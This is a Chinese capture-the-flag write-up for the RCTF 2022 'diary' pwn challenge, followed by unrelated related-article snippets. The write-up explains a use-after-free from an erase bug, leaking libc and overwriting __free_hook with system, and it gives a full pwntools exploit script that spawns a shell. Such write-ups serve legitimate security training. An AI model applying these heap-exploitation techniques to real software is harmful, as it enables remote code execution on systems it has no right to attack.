RCTF-pwn-diary

news2025/1/12 6:44:16

RCTF-pwn-diary

赛后看了一眼发现给出了源码,https://github.com/ruan777/RCTF2022/blob/main/diary/main.cpp
漏洞是erase的问题
解释一下

add(0)
add(1)
add(2)
delete(1)

这样子的话,其实就是把2给删除,把2的内容复制到1中,所以2这里有就有个uaf

add(0)
add(1)
add(2)
delete(1)
edit(1, b'aaaaa')

当改成这样时,通过调试可以看见fd被改了
在这里插入图片描述
利用用这个特性可以uaf出libc,把unsortedbin同时打进tcache和unsortedbin中,这样的话show的时候就会show出libc
接着就需要任意地址写了,直接edit的话前面会有4个空格,所以不好改
在这里插入图片描述
可以发现在enc这个功能里会calloc,calloc并不会从tcache里取,会从unsortedbin中取出,并会将content + offest的内容复制到fd中,所以可以控制offset为4,length为8, 并提前将一个chunk的fd,edit出带有hook的地址,这样enc之后hook上的地址成功跑进tcache的fd中
在这里插入图片描述
接着需要从calloc那里取的剩下的填满,不然会发生一些错误
在这里插入图片描述
hook上的地址成功到第一位,再申请的时候就申请的是hook上的地址,这里设置的hook地址是free_hook - 8,因为add的时候前面会有4个空格, ;sh;这样4 + 3刚好是8,后面是free_hook,所以是 ;sh; + p64(system),add的时候刚好后面又后调用free_hook,就可以getshell了

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './diary'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('119.13.105.35', 10111)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'test cmd:\n'

def add(year=0, content = b'a'):
    r.sendlineafter(menu, b'add#' + str(year).encode() + b'#0#0#0#0#0#' + content)

def edit(index, content):
    r.sendlineafter(menu, b'update#' + str(index).encode() + b'#' + content)

def show(index):
    r.sendlineafter(menu, 'show#' + str(index))

def delete(index):
    r.sendlineafter(menu, 'delete#' + str(index))

def encrypt(index, offest, l):
    r.sendlineafter(menu, 'encrypt#' + str(index) + '#' + str(offest) + '#' + str(l))

def decrypt(index):
    r.sendlineafter(menu, 'decrypt#' + str(index))

for i in range(10):
    add(i)

for i in range(9, 3, -1):
    delete(i)

delete(1)

edit(2, b'aaaa')
delete(1)
show(1)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
system_addr = libc_base + libc.sym['system']
li('system_addr = ' + hex(system_addr))

edit(0, p64(free_hook - 0x8))

encrypt(0,4,6)

add(10, b'a' * 0x2d0)

add(11, b';sh;' + p64(system_addr))

r.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/131599.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Base64自定义编码表及破解

什么是Base64 Base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,Base64并不是安全领域的加密算法,其实Base64只能算是一个编码算法,对数据内容进行编码来适合传输。标准Base64编码解码无需额外信息即完全可逆,即使你自…

基于Python + Django 开发一款学生管理系统(附源码)

文章目录1.开发环境源码分享&技术交流2.项目实战1)创建Django项目2)创建应用3)配置MySQL4)数据模型层创建5)路由配置6)增删改查视图函数7)模板页面创建8)启动web服务1.开发环境 …

最大似然和贝叶斯参数估计

统计生成模型的参数估计 – Maximum Likelihood(ML) 假设参数是某个确定的值,通过使似然度最大求出参数 – Bayesian estimation 假设参数是随机变量,估计参数分布的参数 – 最大似然求出具体的参数,贝叶斯求的是参数的分布 最大似然估计 假…

献给自己技术成长的第三年

年度总结词语:幸运 献给自己技术成长的第三年一、五州一都二、if else量产三、学技术四、用真心五、设计精产六、感恩幸运一、五州一都 1.1-1.12成都、2.23-3.19广州、4.12-7.23苏州、8.12-8.20兰州、8.23-9.20湖州、其余杭州 成都。去年年底出差到成都,…

HTTP_day01

在互联网世界里,HTTP 通常跑在 TCP/IP 协议栈之上,依靠 IP 协议实现寻址和路由、TCP 协议实现可靠数据传输、DNS 协议实现域名查找、SSL/TLS 协议实现安全通信。此外,还有一些协议依赖于 HTTP,例如 WebSocket、HTTPDNS 等。这些协…

【数据结构】冒泡排序、快速排序(递归,非递归)、归并排序(递归,非递归),七大排序比较,

文章目录冒泡排序快速排序归并排序七大排序之间的对比冒泡排序 基本思想:所谓交换,就是根据序列中两个记录键值的比较结果来对换这两个记录在序列中的位置,交换排序的特点是:将键值较大的记录向序列的尾部移动,键值较小…

高性能web网关之Openresty相关基础知识

高性能web网关之Openresty一、Openresty 简介二、Openresty 应用场景三、lua-nginx-module3.1、Lua 模块指令顺序3.2、Lua嵌入nginx四、责任链五、cosocket后言一、Openresty 简介 openresty 是一个基于 nginx 与 lua 的高性能 web 平台,其内部集成了大量精良的 lu…

148.排序链表

148.排序链表 题目: 给你链表的头结点 head ,请将其按 升序 排列并返回 排序后的链表 。 示例 1: 输入:head [4,2,1,3] 输出:[1,2,3,4]示例 2: 输入:head [-1,5,3,4,0] 输出:…

【论文阅读】CVPR2018-深度材料感知跨光谱立体匹配

深度材料感知跨光谱立体匹配 摘要 跨光谱成像对识别和检测任务很有帮助。通常,多个相机用于跨光谱成像,因此需要图像对齐或双目系统中的视差估计。多相机跨光谱系统逐渐被嵌入到有源RGB-D设备中(例如Kinect和iPhone X中的RGB-NIR相机&#…

2022 年度回忆

2022 年度回忆 过了今天就是2023年了,记录一下在这一年里发生的点点滴滴吧。 年度总结2022 年度回忆1.石家庄实习2.准备秋招,然后去沈阳实习3.回学校4.来北京实习了总结今年大体且分为四条故事线 1.22年上半年石家庄实习 2.实习结束回家准备秋招&#…

句子表征(各项异性等偏差):PromptBERT: Improving BERT Sentence Embeddings with Prompts

一、核心 句子表征存在不足之处,可能面临各向异性、可能受到词频的影响、可能受到子词、大小写等的影响等等。 Gao et al.(2019)和Wang et al.(2020)指出,对于语言建模,使用最大似然训练通常会产生一个各向异性的词嵌入空间。“各向异性”是…

BabaSSL:支持半同态加密算法 EC-ElGamal

01 背 景 随着大数据与人工智能的快速发展,个人隐私数据泄露和滥用时有发生,隐私安全问题也越来越被重视。 国家于 2020 年施行密码法、2021 年施行个人信息保护法,对个人隐私数据和数据安全加密有更高的要求。 因此,隐私计算也…

2022年博客之路总结

今年是不平凡的一年,IT行业 开卷 的一年,今年大多数人 都 因种种原因 被迫换了工作,再次 先感谢CSDN 这个平台,在这里 给自己了一块可以展示自己才华的空间,通过CSDN平台的各项运营数据,让我有幸 拿到了 更…

flv.js播放flv视频

flv.js是FLV视频播放器&#xff0c;纯JS开发&#xff0c;无需Flash。 <!DOCTYPE html> <html><head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport"…

【虚幻引擎UE】UE5 制作一个元旦烟花短视频的小案例(使用sequence制作视频案例)

祝愿大家元旦快乐&#xff01; 效果预览 一、创建粒子烟花特效 可以使用现成的Niagara烟花粒子特效&#xff0c;直接跳过这一步。 1、 通过Niagara系统创建粒子特效 选择现有发射器素材。 或者也可新建空白特效&#xff0c;将发射器拖入轨道&#xff08;素材包含闪光、拖…

基于TP6+Uni-app框架开发的多端圈子社区论坛小程序H5系统,带数据库和安装教程

正文&#xff1a; 前台uni-app后台tp6开发的多端圈子社区论坛小程序H5系统,带数据库和安装教程。 系统基于TP6Uni-app框架开发&#xff1b;客户移动端采用uni-app开发&#xff0c;管理后台TH6开发。 系统支持微信公众号端、微信小程序端、H5端、PC端多端账号同步&#xff0c…

CSDN的2022和2023

前言 今天是2022年12月31日&#xff0c;今年的最后一天&#xff0c;年关已至。 又到了&#xff1a;回头看路&#xff0c;低头赶路&#xff0c;抬头望路的时候。 回顾2022 疫情中的2022 今年应该算是疫情的高峰期吧&#xff0c;各种新冠变异株横行&#xff0c;从严控到一夜…

Day845.Fork/Join -Java 并发编程实战

Fork/Join Hi&#xff0c;我是阿昌&#xff0c;今天学习记录的是关于Fork/Join的内容。 线程池、Future、CompletableFuture 和 CompletionService&#xff0c;仔细观察会发现这些工具类都是在帮助站在任务的视角来解决并发问题&#xff0c;而不是让纠缠在线程之间如何协作的…

深度学习:05 卷积神经网络介绍(CNN)

目录 卷积神经网络简介 为什么要用卷积神经网络 网络结构组成 卷积层 卷积计算 卷积核大小 f 边界填充 (p)adding 步长 (s)tride 计算公式 卷积层 激活函数 池化层&#xff08;pooling&#xff09; dropout层 全连接层 卷积神经网络简介 卷积神经网络由一个或多个…

DoIP协议从入门到精通系列——车载网络安全

现代社会慢慢步入数字时代,在这个时代,网络安全已经成为最重要的关注点。自从1980年第一次出现电脑病毒,网络威胁和攻击持续不断,给社会(经济)带来巨大影响。随着汽车的数字化和互联化发展,自然而然会联想到汽车也将为成为黑客攻击的目标。导致的问题除了单纯的不便(攻…